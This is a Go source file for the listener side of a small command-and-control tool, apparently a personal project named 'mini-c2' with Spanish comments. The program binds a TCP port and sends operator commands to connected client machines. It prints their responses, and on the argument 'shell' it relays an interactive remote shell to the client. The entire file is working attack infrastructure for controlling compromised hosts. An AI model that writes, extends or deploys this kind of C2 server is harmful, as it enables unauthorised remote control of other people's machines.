Files
mini-c2/setinstructions.go
2025-09-13 18:25:59 -06:00

84 lines
1.4 KiB
Go

package main
import (
"fmt"
"net"
"log"
"os"
"strings"
"io"
)
type localAddr struct {
Addr string
}
//metodo constructor
func CreateAddr() *localAddr {
return &localAddr {
Addr: "192.168.2.10:4444",
}
}
func (la localAddr) BindPort() {
listener, err := net.Listen("tcp", la.Addr)
if err != nil {
log.Println(err)
}
defer listener.Close()
for {
conn, err := listener.Accept()
if err != nil {
log.Println(err)
}
fmt.Println("\nConexion recibida de ", conn.RemoteAddr())
go handleConnection(conn)
}
}
func getShell(conn net.Conn) {
defer conn.Close()
go io.Copy(os.Stdout, conn)
io.Copy(conn, os.Stdin)
}
func handleConnection(conn net.Conn) {
defer conn.Close()
if len(os.Args) < 1 {
fmt.Println("Escribir comando que tenga que realizar el cliente")
} else if os.Args[1] == "shell" {
fmt.Println("Ejecutando shell remota en el cliente")
getShell(conn)
}
comando := os.Args[1:]
comandoUnido := strings.Join(comando, " ")
_, err := conn.Write([]byte(comandoUnido))
if err != nil {
fmt.Println("error al enviar orden")
}
conn.(*net.TCPConn).CloseWrite()
buf := make([]byte, 4096)
n, err := conn.Read(buf)
respuesta := strings.TrimSpace(string(buf[:n]))
if err != nil {
log.Println(err)
}
fmt.Printf("Respuesta de %s:\n", conn.RemoteAddr())
fmt.Printf("====================\n")
fmt.Printf(respuesta)
fmt.Printf("\n====================")
}
func main() {
myBind := CreateAddr()
myBind.BindPort()
}